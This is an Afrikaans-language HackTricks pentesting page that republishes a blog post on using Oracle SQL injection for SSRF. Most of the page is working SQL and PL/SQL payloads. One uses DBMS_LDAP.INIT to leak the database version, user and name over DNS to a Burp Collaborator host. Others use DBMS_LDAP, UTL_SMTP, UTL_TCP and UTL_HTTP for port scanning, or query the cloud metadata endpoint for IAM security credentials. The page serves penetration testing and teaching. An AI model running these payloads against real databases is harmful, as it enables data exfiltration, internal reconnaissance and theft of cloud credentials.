hacktricks/pentesting-web/sql-injection/oracle-injection.md
2024-02-11 02:07:06 +00:00

169 lines
10 KiB
Markdown

# Oracle-injeksie
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
**Dien hierdie pos in as 'n kopie van die gewiste pos vanaf [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Die gebruik van Oracle om Out of Band HTTP- en DNS-versoeke te doen, is goed gedokumenteer, maar as 'n manier om SQL-data in inspuitings te eksfiltreer. Ons kan altyd hierdie tegnieke/funksies wysig om ander SSRF/XSPA te doen.
Die installeer van Oracle kan baie pynlik wees, veral as jy 'n vinnige instansie wil opstel om bevele uit te probeer. My vriend en kollega by [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), het my gewys na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) wat my in staat gestel het om 'n instansie op 'n t2.large AWS Ubuntu-masjien en Docker op te stel.
Ek het die docker-bevel uitgevoer met die `--network="host"` vlag sodat ek Oracle kon naboots as 'n plaaslike installasie met volle netwerktoegang, vir die duur van hierdie blogpos.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Oracle-pakette wat 'n URL of 'n Hostname/Portnommer-spesifikasie ondersteun <a href="#oracle-pakette-wat-'n-url-of-'n-hostname-portnommer-spesifikasie-ondersteun" id="oracle-pakette-wat-'n-url-of-'n-hostname-portnommer-spesifikasie-ondersteun"></a>
Om enige pakkette en funksies te vind wat 'n host en poortspesifikasie ondersteun, het ek 'n Google-soektog uitgevoer op die [Oracle-databasis aanlyn-dokumentasie](https://docs.oracle.com/database/121/index.html). Spesifiek,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
Die soektog het die volgende resultate opgelewer (nie almal kan gebruik word om uitgaande netwerkverkeer uit te voer nie)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Hierdie eenvoudige soektog slaan duidelik pakkette soos `DBMS_LDAP` oor (wat die deurgang van 'n gasheernaam en poortnommer toelaat) aangesien [die dokumentasiebladsy](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) jou eenvoudig na 'n [ander plek](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) verwys. Daar kan dus ander Oracle-pakkette wees wat misbruik kan word om uitgaande versoekings te maak wat ek dalk gemis het.
In elk geval, laat ons kyk na 'n paar van die pakkette wat ons ontdek en hierbo gelys het.
**DBMS\_LDAP.INIT**
Die `DBMS_LDAP`-pakkette maak dit moontlik om toegang tot data vanaf LDAP-bedieners te verkry. Die `init()`-funksie inisialiseer 'n sessie met 'n LDAP-bediener en neem 'n gasheernaam en poortnommer as 'n argument.
Hierdie funksie is al voorheen gedokumenteer om die uitlek van data oor DNS te wys, soos hieronder
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Togtans, gegewe dat die funksie 'n gasheernaam en 'n poortnommer as argumente aanvaar, kan jy dit ook gebruik as 'n poortskanderer.
Hier is 'n paar voorbeelde:
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
'n `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` dui daarop dat die poort gesluit is terwyl 'n sessiewaarde na die oop poort verwys.
**UTL\_SMTP**
Die `UTL_SMTP`-pakket is ontwerp vir die stuur van e-posse oor SMTP. Die voorbeeld wat verskaf word op die [Oracle-dokumentasie-webwerf wys hoe jy hierdie pakket kan gebruik om 'n e-pos te stuur](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Vir ons is die interessante ding egter die vermoë om 'n gasheer- en poortspeksifikasie te voorsien.
'n Onbeholpe voorbeeld word hieronder getoon met die `UTL_SMTP.OPEN_CONNECTION`-funksie, met 'n tydbeperking van 2 sekondes.
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
'n `ORA-29276: oordragtydperk verstryk` toon dat die poort oop is, maar geen SMTP-verbinding is tot stand gebring nie, terwyl 'n `ORA-29278: SMTP oorganklike fout: 421 Diens nie beskikbaar nie` toon dat die poort gesluit is.
**UTL\_TCP**
Die `UTL_TCP`-pakket en sy prosedures en funksies maak [TCP/IP-gebaseerde kommunikasie met dienste](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190) moontlik. As dit geprogrammeer is vir 'n spesifieke diens, kan hierdie pakket maklik 'n manier word om die netwerk binne te dring of volledige bedienerkantversoeke uit te voer, aangesien alle aspekte van 'n TCP/IP-verbinding beheer kan word.
Die voorbeeld [op die Oracle-dokumentasie-webwerf wys hoe jy hierdie pakket kan gebruik om 'n rou TCP-verbinding te maak om 'n webblad op te haal](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Ons kan dit 'n bietjie eenvoudiger maak en dit gebruik om versoeke na die metadata-instansie byvoorbeeld of na 'n willekeurige TCP/IP-diens te maak.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
Interessant genoeg kan hierdie pakket, as gevolg van die vermoë om rou TCP-versoeke te skep, ook gebruik word om die instansie-meta-data-diens van alle wolkverskaffers te ondervra, aangesien die metode-tipe en addisionele koppele in die TCP-versoek oorgedra kan word.
**UTL\_HTTP en Web Versoeke**
Dalk die mees algemene en wyd gedokumenteerde tegniek in elke Out of Band Oracle SQL Injection-tutoriaal daar buite is die [`UTL_HTTP`-pakket](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Hierdie pakket word in die dokumentasie gedefinieer as - `Die UTL_HTTP-pakket maak HTTP-oproepe vanaf SQL en PL/SQL. Dit kan gebruik word om data op die internet oor HTTP te ontsluit.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Jy kan dit ook gebruik om 'n basiese poortskandering uit te voer met navrae soos
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
'n `ORA-12541: TNS: geen luisteraar` of 'n `TNS: operasie het uitgeloop` is 'n teken dat die TCP-poort gesluit is, terwyl 'n `ORA-29263: HTTP-protokolfout` of data 'n teken is dat die poort oop is.
'n Ander pakket wat ek in die verlede met wisselende sukses gebruik het, is die [`GETCLOB()`-metode van die `HTTPURITYPE` Oracle-abstracttipe](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) wat jou in staat stel om met 'n URL te kommunikeer en ondersteuning vir die HTTP-protokol bied. Die `GETCLOB()`-metode word gebruik om die GET-respons van 'n URL as 'n [CLOB-data tipe](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) op te haal. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>